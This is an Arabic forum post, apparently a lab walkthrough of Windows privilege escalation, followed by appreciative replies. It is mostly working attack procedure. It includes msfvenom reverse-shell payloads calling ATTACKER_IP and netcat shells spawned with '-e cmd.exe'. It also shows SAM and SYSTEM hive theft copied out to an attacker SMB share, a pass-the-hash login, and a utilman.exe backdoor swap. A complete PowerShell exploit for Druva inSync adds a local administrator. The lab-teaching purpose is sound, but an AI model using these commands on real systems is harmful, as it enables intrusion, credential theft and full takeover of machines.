                                  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

ممكن نستغل هاي الثغرة عن طريق msfvenom عشان نولد ملف ونرفعه على جهاز الضحيه عن طريق ويب سيرفر بنعمله ببايثون

كود:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe

user@attackerpc$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

بعدها بننزل الملف اللي عملناه على جهاز الضحيه عن طريق السيرفر اللي فتحناه

كود:
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe

بعدها بنستبدل الملف التنفيذي الأصلي للخدمة بالملف التنفيذي اللي عملناه احنا

كود:
C:\> cd C:\PROGRA~2\SYSTEM~1\

C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
        1 file(s) moved.

C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
        1 file(s) moved.

C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
        Successfully processed 1 files.

وبعد هيك اكيد بنفتح ليسنر عشان جينا اتصال من جهاز الضحية

كود:
user@attackerpc$ nc -lvp 4445

اخر اشي بنعيد تشغيل الخدمة ولو كنت باختبار اختراق بدك تستنا تشتغل الخدمة تلقائي بس بالتحدي هون اعطوك صلاحيات عشان تقدر تعيد تشغيل الخدمة لحالك وتوفّر وقتك

كود:
C:\> sc stop windowsscheduler
C:\> sc start windowsscheduler

واكيد راح يجينا اتصال بصلاحيات الحساب اللي اسمه svcusr1

كود:
user@attackerpc$ nc -lvp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.175.90 50649
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
wprivesc1\svcusr1







10. الـ Unquoted Service Paths:
اذا ما قدرنا نكتب مباشرة بملفات الخدمات زي قبل ممكن يكون في فرصة لإجبار الخدمة تشغل ملفات تنفيذية عشوائية

لما بنشتغل مع خدمات الويندوز بحصل سلوك معين جدًا لو الخدمة تم اعدادها لتشغل ملف تنفيذي unquoted يعني بدون اقتباس
يعني مسار الملف التنفيذي المرتبط بالخدمة المعينة مش محطوط بشكل صحيح بحيث يعتبر الفراغات في الأمر

مثلا خلينا نشوف الفرق بين خدمتين (هاد فقط مثال وممكن ما يكون موجود بجهازك)
الخدمة الأولى بتستخدم اقتباس صحيح عشان تضمن إن الإدارة الها تشغل الملف التنفيذي المشير له بـ C:\Program Files\RealVNC\VNC Server\vncserver.exe بعد هيك البارامترات اللي معطاه :


وهسا نشوف خدمة مع اقتباس صحيح :

كود:
C:\> sc qc "vncserver"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: vncserver
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VNC Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

معلومة: في باورشيل بستخدم sc كـ اختصار لـ Set-Content عشان هيك لازم نستخدم sc.exe عشان نتحكم بالخدمات إذا كننا بـ باورشيل


وهسا نشوف خدمة ثانية بدون اقتباس صحيح :

كود:
C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: disk sorter enterprise
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Disk Sorter Enterprise
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcusr2


لما النظام يحاول يشغل الملف التنفيذي المرتبط بالخدمة بحصل مشكلة لأنو في فراغات باسم مجلد Disk Sorter Enterprise الأمر غامض شوي والنظام مش عارف بالضبط أي اشي من اللي تحتاج تشغل :

CommandArgument 1Argument 2
C:\MyPrograms\Disk.exeSorterEnterprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter.exeEnterprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe


هاد الموضوع اله علاقة بطريقة تحليل الامر عادةً لما تبعث أمر
الفراغات بتستخدم كفاصل بين الوسائط اذا ما كانت موجوده بين الـ " "
هاد يعني التفسير "الصحيح" للأمر اللي مش محطوطله اقتباس هو تشغيل C:\MyPrograms\Disk.exe واستخدام الباقي كوسائط

بدل ما يفشل النظام بحاول يساعد المستخدم وببدأ يدور على كل الملفات التنفيذية بالترتيب الموضح في الجدول :

اول اشي
  1. بدور على C:\MyPrograms\Disk.exe لو موجود الخدمة بتشغل الملف هاد , لو مش موجود
  2. بدور على C:\MyPrograms\Disk Sorter.exe لو موجود الخدمة بتشغل الملف هاد , لو مش موجود
  3. بدور على C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe الخيار هاد متوقع ينجح وعادة يتم تشغيله بالتثبيت الافتراضي , من هذا التصرف بينلنا انو لو المهاجم عمل أي من الملفات التنفيذية اللي النظام بدور عليها قبل الملف التنفيذي المتوقع بأمكاننا نجبر الخدمة تشغل ملف تنفيذي عشوائي

معظم ملفات الخدمات بتتثبت تحت C:\Program Files أو C:\Program Files (x86) بشكل افتراضي واللي مش ممكن تتكتب فيه من مستخدمين ما معهم صلاحيات هاد بمنع أي خدمة ضعيفة من التعرض للاستغلال
بس في استثناءات للقاعدة هاي : - بعض برامج التثبيت بتغير الصلاحيات على المجلدات المثبتة اللي بتخلي الخدمات عرضة للخطر - المشرف ممكن يقرر يثبت ملفات الخدمة في مسار غير الافتراضي لو المسار هاد كان ممكن نكتب فيه من أي مستخدم فالثغرة ممكن تستغل

في حالتنا المشرف ثبت ملفات Disk Sorter تحت c:\MyPrograms بشكل افتراضي هاد برث صلاحيات C:\ directory اللي بتسمح لأي مستخدم بإنشاء ملفات ومجلدات فيه ممكن نتأكد من هاد باستخدام icacls :

كود:
C:\>icacls c:\MyPrograms
c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
              BUILTIN\Administrators:(I)(OI)(CI)(F)
              BUILTIN\Users:(I)(OI)(CI)(RX)
              BUILTIN\Users:(I)(CI)(AD)
              BUILTIN\Users:(I)(CI)(WD)
              CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files


مجموعة BUILTIN\Users فيها امتيازات AD و WD اللي بتسمح للمستخدم بإنشاء مجلدات فرعية وملفات على التوالي

عملية إنشاء payload exe-service باستخدام msfvenom ونقلها إلى الجهاز المستهدف هي نفسها اللي عملناها قبل

بمجرد ما يكون الـ payload بالخادم بننقلها لأي مكان قد يحدث فيه تسلل بهاي الحالة بننقل الـ payload لـ C:\MyPrograms\Disk.exe وبنمنح Everyone أذونات كاملة على الملف عشان نتأكد انه يتم تشغيله بواسطة الخدمة :
كود:
C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe

C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
        Successfully processed 1 files.


بمجرد إعادة تشغيل الخدمة بيجينا اتصال :

كود:
C:\> sc stop "disk sorter enterprise"
C:\> sc start "disk sorter enterprise"

هيك بنحصل على ريفيرس شل بصلاحيات svcusr2 :

كود:
user@attackerpc$ nc -lvp 4446
Listening on 0.0.0.0 4446
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
wprivesc1\svcusr2






11. الـ Insecure Service Permissions:

لو فيه خدمة على الجهاز وبتكون إعداداتها مظبوطة ومكان ملف التشغيل (binary path) تاعها مكتوب صح ممكن تستفيد منها بشكل غير متوقع
لو الخدمة نفسها (مش الملف التنفيذي تاعها) مسموحلك تعدل إعداداتها بتقدر تغيرها وتشير لأي ملف تنفيذي ثاني وتشغله بأي حساب بدك اياه حتى لو كان حساب SYSTEM اللي هو أعلى صلاحية بالنظام

عشان تتأكد من إعدادات الخدمة (DACL) باستخدام سطر الأوامر
ممكن نستخدم أداة Accesschk من مجموعة Sysinternals بنلاقي نسخة منها موجودة بالـ C:\tools والأمر اللي بنستخدمه عشان نتأكد من إعدادات خدمة معينة اسمه thmservice هو :

كود:
C:\tools\AccessChk> accesschk64.exe -qlc thmservice
  [0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_PAUSE_CONTINUE
        SERVICE_START
        SERVICE_STOP
        SERVICE_USER_DEFINED_CONTROL
        READ_CONTROL
  [4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
        SERVICE_ALL_ACCESS


الجزء هاد معناه إن مجموعة المستخدمين العاديين (BUILTIN\Users) عندهم تصريح كامل للخدمة (SERVICE_ALL_ACCESS) يعني أي مستخدم بقدر يعيد تكوين الخدمة
بنبني ريفيرس شل زي ما تعلمنا سابقا
وبنشغل الـ listener :
كود:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe

user@attackerpc$ nc -lvp 4447

بننقل الملف التنفيذي لجهاز الضحية وبنحطه بـ C:\Users\thm-unpriv\rev-svc3.exe بنستخدم wget عشان ننقل الملف للمكان اللي بدنا اياه وبعدين لازم نعطي صلاحيات للجميع (Everyone) لتشغيل الملف :

كود:
C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
عشان نغير الملف التنفيذي المرتبط بالخدمة ونستخدم الحساب اللي بدنا اياه بنستخدم الأمر هاد (انتبه للمسافات بعد علامة = عند استخدام sc.exe) :

كود:
C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

اكيد ممكن نستخدم أي حساب لتشغيل الخدمة احنا اخترنا LocalSystem عشان هو أعلى حساب صلاحية

عشان نشغل الملف التنفيذي لازم نعيد تشغيل الخدمة :

كود:
C:\> sc stop THMService
C:\> sc start THMService

بنرجع للمستمع وبنشوف الاتصال بنظام الضحية بصلاحيات SYSTEM :
كود:
user@attackerpc$ nc -lvp 4447
Listening on 0.0.0.0 4447
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
NT AUTHORITY\SYSTEM


كل مستخدم عنده مجموعة إمتيازات معينة ممكن يتأكد منها باستخدام الأمر :
كود:
whoami /priv

قائمة كاملة بالصلاحيات المتاحة على أنظمة الويندوز بتقدر تلاقيها هون


بالنسبة للمهاجمين اللي بهمهم بس هي الصلاحيات اللي بتخليهم يقدروا يسيطروا على النظام


قائمة بالصلاحيات اللي ممكن تُستغل موجودة في مشروع Priv2Admin على Github بالرابط التالي




12. الـ صلاحيات SeBackup / SeRestore:

الصلاحيات هاي بتسمح للمستخدمين بقراءة وكتابة أي ملف بالنظام بدون أي إجراءات حماية (DACL) الفكرة من الصلاحيات هاي إنها بتسمح لبعض المستخدمين يعملوا نسخ احتياطية من النظام بدون ما يحتاجوا صلاحيات إدارية كاملة

بامتلاك الصلاحيه هاي المهاجم بقدر يرفع صلاحيته بالنظام بسهولة باستخدام تقنيات كتير هون راح نشوف طريقة عبارة عن نسخ ملفات تسجيل النظام (SAM و SYSTEM) لاستخراج كلمة مرور الـ Administrator's


الحساب هاد جزء من مجموعة Backup Operators اللي عندهم بشكل افتراضي صلاحيات SeBackup وSeRestore بنفتح موجه الأوامر باستخدام خيار Open as administrator عشان نقدر نستخدم الصلاحيات هاي

Run as admin

بعد ما نفتح الـ cmd عشان نتاكد من الصلاحيات بنستخدم الامر :
كود:
whoami /priv

بعطينا اشي زي هيك

كود:
C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeBackupPrivilege             Back up files and directories  Disabled
SeRestorePrivilege            Restore files and directories  Disabled
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

عشان ننسخ ملفات SAM و SYSTEM بنستخدم الأوامر هاي :

كود:
C:\> reg save hklm\system C:\Users\THMBackup\system.hive
The operation completed successfully.

C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive
The operation completed successfully.

هيك بنتج ملفين فيهم محتوى تسجيل النظام بنقدر ننقل الملفات هاي لجهاز المهاجم باستخدام SMB أو أي طريقة ثانية
للـ SMB بنقدر نستخدم impacket's smbserver.py لبدء خادم SMB بسيط بمشاركة الشبكة بالدليل الحالي لجهاز المهاجم :

كود:
user@attackerpc$ mkdir share
user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

هاد بعمل مشاركة اسمها public بتشير لدليل المشاركة وبتحتاج اسم المستخدم وكلمة المرور بعد هيك بنقدر نستخدم النسخ بجهاز الويندوز لنقل الملفين لجهاز المهاجم :

كود:
copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

ونستخدم impacket لاستخراج كلمات مرور المستخدمين :

كود:
user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL

بطلعلنا اشي زي هيك

كود:
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

بنقدر نستخدم الهاش الخاص بالـ Administrator لعمل هجوم Pass-the-Hash والدخول للجهاز المستهدف بصلاحيات النظام (SYSTEM):

كود:
user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@MACHINE_IP

هيك بنكون دخلنا على النظام
كود:
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system



13. الـ SeTakeOwnership:

ميزة SeTakeOwnership بتسمح للمستخدم إنه ياخذ ملكية أي اشيء بالنظام زي الملفات ومفاتيح التسجيل وهاد بفتح فرص كبيرة للمهاجمين عشان يرفعو صلاحياتهم
زي مثلاً لما ندور على خدمة شغالة بنظام SYSTEM ونوخذ ملكية الملف التنفيذي تاعها

بنفتح موجه الأوامر باستخدام خيار Open as administrator عشان نقدر نستخدم الصلاحيات هاي

Run as admin

بنقدر نتأكد من صلاحياتنا باستخدام الأمر :

كود:
C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                              State
============================= ======================================== ========
SeTakeOwnershipPrivilege      Take ownership of files or other objects Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                 Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set           Disabled

بتظهرلنا الصلاحيات كالتالي :
  • SeTakeOwnershipPrivilege: بتعطينا ملكية الملفات أو الأغراض الأخرى (معطلة).
  • SeChangeNotifyPrivilege: تجاوز الفحص (مفعلة).
  • SeIncreaseWorkingSetPrivilege: زيادة مجموعة العمل الخاصة بالعملية (معطلة).

احد البرامج اللي ممكن نستغلها عشان نرفع صلاحياتنا برنامج utilman
هو برنامج مدمج بويندوز يستخدم لتوفير خيارات سهولة الوصول في شاشة القفل

utilman normal behaviour


بما إن الـ utilman بشتغل بصلاحيات SYSTEM بنحصل على صلاحيات SYSTEM إذا استبدلناه بأي برنامج نختاره
نبدأ بأخذ ملكية utilman.exe باستخدام الأمر :

كود:
takeown /f C:\Windows\System32\Utilman.exe

بتطلعلنا رسالة نجاح بتحكي إن الملف Utilman.exe صار مملوك من المستخدم WINPRIVESC2\thmtakeownership

بما إننا صرنا المالكين للملف بنقدر نعطي نفسنا أي صلاحيات بنحتاجها باستخدام الأمر التالي :

كود:
icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F

بنستبدل utilman.exe بنسخة من cmd.exe باستخدام الأمر :

كود:
copy cmd.exe utilman.exe

عشان نفعل البرنامج utilman
بنفتح على شاشه القفل بعدين بنضغط على زر Ease of Access اللي بشغل utilman.exe بصلاحيات SYSTEM قبل بس احنا بدلناه بنسخة من cmd.exe رح نحصل على موجه الأوامر بصلاحيات SYSTEM

وهيك بنكون حصلنا على صلاحيات SYSTEM بطريقة سهلة وبسيطة




14. الـ SeImpersonate و SeAssignPrimaryToken:


الصلاحيات هاي بتسمح لبرنامج إنه يقلد مستخدمين ثانيين ويتصرف نيابةً عنهم التقليد هاد عادة بكون إن البرنامج بقدر يشغل برنامج أو (Thread) تحت حساب مستخدم ثاني

تخيل إن عننا سيرفر FTP بخلي الناس يرفعوا وينزلوا ملفات السيرفر هاد لازم يضمن إن كل مستخدم بقدر يشوف بس الملفات اللي مسموحله يشوفها

نفترض عننا خدمة FTP بتشتغل بحساب المستخدم ftp
لو Ann سجلت دخول وحبت توصل لملفاتها خدمة الـ FTP هتحاول توصل للملفات باستخدام access token الخاص بـ حساب المستخدم ftp مش تاع Ann

6e5768172fbb97d6777dde7e15a3fcfc.png

ليش مش كويس :
  1. عشان الملفات تتقدم بشكل صحيح لازم تكون متاحة لحساب المستخدم ftp يعني الخدمة هتقدر توصل لملفات Ann بس مش لملفات Bill لأن الإعدادات عند Bill مش متاحه للمستخدم ftp
  2. النظام بعتبر كل الملفات بقدر يوصلها المستخدم ftp بغض النظر عن مين اللي سجل دخول يعني الامر بكون لازم ينعمل من الخدمة نفسها مش من النظام
  3. لو الخدمة تم اختراقها المهاجم بقدر يوصل لكل الملفات اللي المستخدم ftp بقدر يشوفها

لو خدمة الـ FTP عندها صلاحيات SeImpersonate أو SeAssignPrimaryToken الموضوع بكون أسهل
الخدمة بتستخدم الـ access token الخاص بالمستخدم اللي سجل دخول وبتشتغل نيابةً عنه

يعني لو Ann سجلت دخول الخدمة بتاخذ الـ access token الخاص فيها وبتستخدمه عشان توصل لملفاتها وبهاذ الشكل الملفات مش لازم تسمح للمستخدم ftp يوصللها والنظام هو اللي بيتولى التحكم

لو قدرنا نسيطر على برنامج عنده لصلاحيات هاي بنقدر نقلد أي مستخدم بتصل وبسجل دخول للبرنامج هاد

بأنظمة ويندوز الحسابات LOCAL SERVICE و NETWORK SERVICE عندهم الصلاحيات هاي والخدمات اللي بتشتغل تحت الحسابات هاي بتستخدمها عشان تقدر تقلد المستخدمين المتصلين لو احتاجت خدمات زي Internet Information Services (IIS) بتعمل حسابات افتراضية مشابهة عشان التطبيقات الويب

المهاجم محتاج :
  1. يشغل برنامج عشان المستخدمين يتصلوا فيه ويسجلوا دخول
  2. يلاقي طريقة يخلي المستخدمين اللي عندهم صلاحيات عالية يتصلوا بالبرنامج الخبيث اللي شغله
بنستخدم ثغرة اسمها RogueWinRM عشان نحقق الشرطين هذول

نفترض إننا سيطرنا على موقع شغال على IIS وزرعنا Web Shell على العنوان :


كود:
http://10.10.48.233/
هنستخدم الـ Web Shell عشان نتحقق من الصلاحيات للحساب اللي سيطرنا عليه ونتأكد إننا عننا الصلاحيات المطلوبة

Webshell impersonate privileges

تشغيل الـ RogueWinRM:​

أولاً بنرفع الثغرة لجهاز الهدف (تم رفعها مسبقًا هنا: C:\tools)

الثغرة بتستغل خدمة BITS لما تبدأ بتعمل اتصال على البورت 5985 باستخدام صلاحيات SYSTEM بورت 5985 بستخدم خدمة WinRM اللي بتفتح Powershell Console للاتصال عن بعد

لو خدمة WinRM مش شغالة على السيرفر المهاجم بقدر يشغل خدمة WinRM وهمية على البورت 5985 ويصطاد محاولة التوثيق من خدمة BITS
لو المهاجم عنده صلاحيات التقليد بقدر ينفذ أي أمر نيابةً عن المستخدم المتصل اللي هو SYSTEM

الخطوات
  1. شغل مستمع netcat على جهاز المهاجم:
    كود:
    user@attackerpc$ nc -lvp 4442
  2. استخدم الـ Web Shell لتشغيل الثغرة بالامر:
    كود:
    c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"
  3. بعد شوية بتلاقي إنك حصلت على Shell بصلاحيات SYSTEM :
    كود:
    user@attackerpc$ nc -lvp 4442
    Listening on 0.0.0.0 4442
    Connection received on 10.10.175.90 49755
    Microsoft Windows [Version 10.0.17763.1821]
    (c) 2018 Microsoft Corporation. All rights reserved.
    
    c:\windows\system32\inetsrv>whoami
    nt authority\system


رايتاب مفيد للموضوع




15. الـ Unpatched Software ( البرامج غير المحدثة ) :
البرامج المثبتة على النظام ممكن توفر فرص لرفع الصلاحيات زي المنظمات والمستخدمين ما بحدثوهة زي ما بحدثو نظام التشغيل
بنقدر تستخدم أداة wmic عشان نتسرد البرامج المثبتة على النظام وإصداراتها الأمر هذا بيسوي تفريغ للمعلومات اللي يقدر يحصل عليها عن البرامج المثبتة (ممكن ياخذ حوالي دقيقة عشان يخلص):

كود:
wmic product get name,version,vendor

أمر wmic product ممكن ما يرجع كل البرامج المثبتة حسب طريقة تثبيت بعض البرامج ممكن ما تظهر هون لا تنسا تشيك على اختصارات سطح المكتب على الخدمات المتاحة أو أي أثر بدل على وجود برامج إضافية ممكن يكون فيها ثغرات

بعد ما نجمع معلومات إصدارات البرامج بنبحث عن الثغرات الموجودة بالبرامج المثبتة على مواقع زي exploit-db، packet storm أو حتى جوجل






16. الـ Druva inSync 6.6.3 :

سيرفر الهدف بستخدم Druva inSync 6.6.3 اللي فيه ثغرة رفع صلاحيات حسب تقرير Matteo Malvica
الثغرة ناتجة عن تحديث سيء تم تطبيقه على ثغرة أخرى كانت بالإصدار 6.5.0 حسب تقرير Chris Lyne

البرنامج فيه ثغرة لأنه بشغل سيرفر RPC (استدعاء إجراء عن بُعد) على البورت 6064 بصلاحيات الـ SYSTEM ومتاحة فقط من الـ localhost

إذا ما بتعرف شو هو الـ RPC : هو ببساطة آلية بتسمح للعملية بفتح وظائف (تسمى إجراءات في مصطلح RPC) عبر الشبكة عشان الأجهزة الأخرى تقدر تستدعيها عن بعد

في حالة الـ Druva inSync وحدة من الإجراءات المفتوحة (تحديدًا الإجراء رقم 5) على البورت 6064 بسمح لأي شخص بطلب تنفيذ أي أمر بما إن سيرفر RPC يعمل بصلاحيات الـ SYSTEM أي أمر بتنفذ بصلاحيات SYSTEM

الثغرة الأصلية المبلغ عنها بالإصدارات 6.5.0 واللي قبلها كانت بتسمح بتشغيل أي أمر بدون قيود
الفكرة الأصلية كانت لتشغيل بعض الملفات التنفيذية المحددة مع inSync عن بعد ولكن ما كان فيه تحقق لضمان هاد الاشي

اصدرو تحديث قرروا يتحققو من الأمر المنفذ يبدأ بالسلسلة C:\ProgramData\Druva\inSync4 هيك بتكون الملفات هاي الملفات التنفيذية المسموح فيها بس هاد التحديث ما كان كافي لأنك ببساطة بتقدر تسوي هجوم path traversal لتفادي هذا النوع من التحكم

لنفترض إنك بدك تشغل C:\Windows\System32\cmd.exe
اللي هو مش بالمسار المسموح بتقدر تطلب من السيرفر يشغل C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe وهيك بتم تجاوز التحقق بنجاح

شرح تنفيذ الثغرة
عشان ننفذ ثغرة ناجحة لازم نفهم كيف نتواصل مع البورت 6064

البروتوكول المستخدم بسيط والحزم المرسلة موضحة بالرسم التالي :

Druva Exploit Diagram

الحزمة الأولى ببساطة تحتوي على hello packet
الحزمة الثانية بتشير إلى إننا بدنا ننفذ الإجراء رقم 5 لأنه هو الإجراء الثغرة اللي بشغل أي أمر
الحزمتين الأخيرتين تستخدم لإرسال طول الأمر و الأمر للتنفيذ على التوالي


كود الاستغلال
نشر Matteo Malvica كود الاستغلال اللي بتقدر تستخدمه في جهاز الهدف لرفع صلاحياتك والحصول على حل هذه التحدي ( اللي تحت ) هنا كود الاستغلال الأصلي:
كود:
$ErrorActionPreference = "Stop"

$cmd = "net user pwnd /add"

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)



بتقدر تفتح الـ Powershell وتلصق الكود مباشرة للتنفيذ (الاستغلال متاح بجهاز الهدف ( للتحدي ) بـ C:\tools\Druva_inSync_exploit.txt

لاحظ إن الـ payload الافتراضي المحددة في المتغير cmd$ بتضيف مستخدم باسم pwnd بالنظام لكن ما بتعطيه صلاحيات إدارية فـ بنحتاج نغير الـ payload لأشي أكثر افاده بالنسبة للتحدي

بنغير الـ payload لتشغيل الأمر التالي :
كود:
net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add

هاد بضيف مستخدم pwnd بكلمة مرور SimplePass123 وبضيفه لمجموعة الـ administrator's

إذا الاستغلال نجح بنشغل الأمر التالي للتحقق من وجود المستخدم pwnd وأنه جزء من مجموعة الـ administrator's :
كود:
net user pwnd










17. Tools of the Trade ( أدوات الفحص ):​

فيه عدة سكريبتات بتقدر تستخدمها عشان تفحص النظام وتعرف إذا فيه طرق لرفع الصلاحيات زي ما شفنا بالمهمة السابقة الأدوات هاي بتسهل عملية الفحص وبتختصر الوقت وبتساعدك تكتشف طرق جديدة لرفع الصلاحيات
بس تذكر إن الأدوات الآلية ممكن يفوت عليها بعض الطرق

هاي بعض الأدوات المشهورة اللي تستخدم في فحص طرق رفع الصلاحيات

WinPEAS

هو سكريبت مصمم لفحص النظام المستهدف واكتشاف طرق رفع الصلاحيات بتقدر تعرف معلومات أكثر عنه وتحمل النسخة الجاهزة أو ملف
بشغل أوامر مشابهة للِّي تكلمنا عنها وبطبع النتائج لكن النتائج من WinPEAS ممكن تكون طويلة وصعب تقراها عشان هيك من الأفضل توجه المخرجات لملف :
كود:
C:\> winpeas.exe > outputfile.txt

بتقدر تحمل WinPEAS من الرابط التالي

PrivescCheck

هو سكربت PowerShell ببحث عن طرق رفع الصلاحيات الشائعة في النظام المستهدف هو بديل لـ WinPEAS وما بحتاج يشغل ملف تنفيذي

ملاحظة: عشان تشغل PrivescCheck على النظام المستهدف ممكن تحتاج تتجاوز قيود السياسات التنفيذية بتقدر تسوي هاد باستخدام الأمر Set-ExecutionPolicy زي هيك :
كود:
PS C:\> Set-ExecutionPolicy Bypass -Scope process -Force
PS C:\> . .\PrivescCheck.ps1
PS C:\> Invoke-PrivescCheck

بتقدر تحمل PrivescCheck من الرابط التالي

WES-NG: Windows Exploit Suggester - Next Generation

بعض سكربتات اقتراح الثغرات (مثل winPEAS) بتحتاج ترفعها على النظام المستهدف وتشغلها هناك هاد ممكن يخلي برامج الحماية تكتشفها وتحذفها عشان تتجنب لفت الانتباه ممكن تفضل تستخدم WES-NG اللي بشتغل على جهازك
هو سكريبت Python

بعد ما تثبته
قبل ما تستخدمه اكتب الأمر التالي لتحديث قاعدة البيانات :

كود:
wes.py --update

السكريبت هاد بعتمد على قاعدة بيانات اللي بنشئها عشان يفحص التحديثات الناقصة اللي ممكن تكون بتقدر تستغلها لرفع الصلاحيات على النظام المستهدف
لاستخدام السكريبت بتحتاج تشغل أمر systeminfo على النظام المستهدف لا تنسى توجيه المخرجات لملف txt. وتنسخه لجهازك
بعدها بتقدر تشغل WES-NG بهاي الطريقة :

كود:
user@kali$ wes.py systeminfo.txt

بتقدر تحمل WES-NG من الرابط التالي

Metasploit

إذا عندك بالفعل Meterpreter على النظام المستهدف بتقدر تستخدم الموديول multi/recon/local_exploit_suggester عشان يعرضلك الثغرات اللي ممكن تأثر على النظام المستهدف وتسمحلك ترفع صلاحياتك عليه




res

عبود الوحش، صدقاً من اجمل المواضيع وشرح مبسط وواضح لأي انسان حابب يفهم
صدقاً انت رح تتعبني وتتعب كثير ناس من بعدك بالشروحات
صدقاً انا مبسوط جداً بكمية العلم الرائعة وبتمنى تزيدها كل يوم اكثر من الثاني

بارك الله فيك يا وحش وجزاك الله كل خير
وربنا يفتح عليك ويرزقك اضعاف مضاعفه مقابل كل حرف كتبته حتى تعلم غيرك من المسلمين.

تقبل مروري​
 
زمان ع هيك مواضيع تجميعيه.
الصراحه ماقريت المقال كامل لكن استوقفني مرجع هام لازم ينظاف للموضوع هو ثغرات Tavis Ormandy اللي كان اصدرها 0-day حينها دون اخبار ميكرسوفت للظغط عليها لتقوية انظمة وندوز.
مجدر بحث بسيط ممكن تلاقو هاي الثغرات وظيفوها ف الفرامموورك تبعكو منها:

Windows-EOP-Exploit​


بأذن الله اكيد بضيفه اشكرك على الموقع ما مر علي قبل :love:
 
عبود الوحش، صدقاً من اجمل المواضيع وشرح مبسط وواضح لأي انسان حابب يفهم
صدقاً انت رح تتعبني وتتعب كثير ناس من بعدك بالشروحات
